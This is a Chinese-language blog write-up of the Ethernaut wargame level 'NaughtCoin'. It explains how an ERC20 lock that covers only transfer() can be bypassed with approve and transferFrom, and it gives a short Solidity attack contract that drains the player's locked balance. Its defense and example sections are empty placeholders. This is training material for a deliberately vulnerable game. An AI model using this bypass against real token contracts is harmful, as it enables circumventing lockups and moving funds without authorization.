# 智能合约黑客攻击 Ethernaut:  
 15. NaughtCoin

By [Leek DEV](https://paragraph.com/@leekdev) · 2023-09-28

---

[Ethernaut](https://ethernaut.openzeppelin.com/) 是一个由 [OpenZeppelin](https://www.openzeppelin.com/) 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。

教程
--

*   GitHub - [攻击代码](https://github.com/6boris)
    
*   Bilibili - [视频教程](https://space.bilibili.com/3493272831920239)
    
*   YouTube - [视频教程](https://www.youtube.com/@LeekDEV)
    
*   TikTok - ….
    

题目
--

玩家在ERC20合约有余额，但是被锁住了，需要提前把余额转走。

Hack思路
------

只是锁住了transfer 方法，还有其他的 approve机制也可以讲代币转走。

先手动 approve 给攻击合约足够的钱，再调用攻击函数。

    import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
    
    contract NaughtCoinHack {
        IERC20 public exploitInst;
    
        constructor(address _target) {
            exploitInst = IERC20(_target);
        }
    
        function attack() external payable {
            exploitInst.transferFrom(msg.sender, address(this), exploitInst.balanceOf(msg.sender));
        }
    }
    

Hack案例
------

…

防范思路
----

…

参考资料
----

….

---

*Originally published on [Leek DEV](https://paragraph.com/@leekdev/ethernaut-15-naughtcoin)*
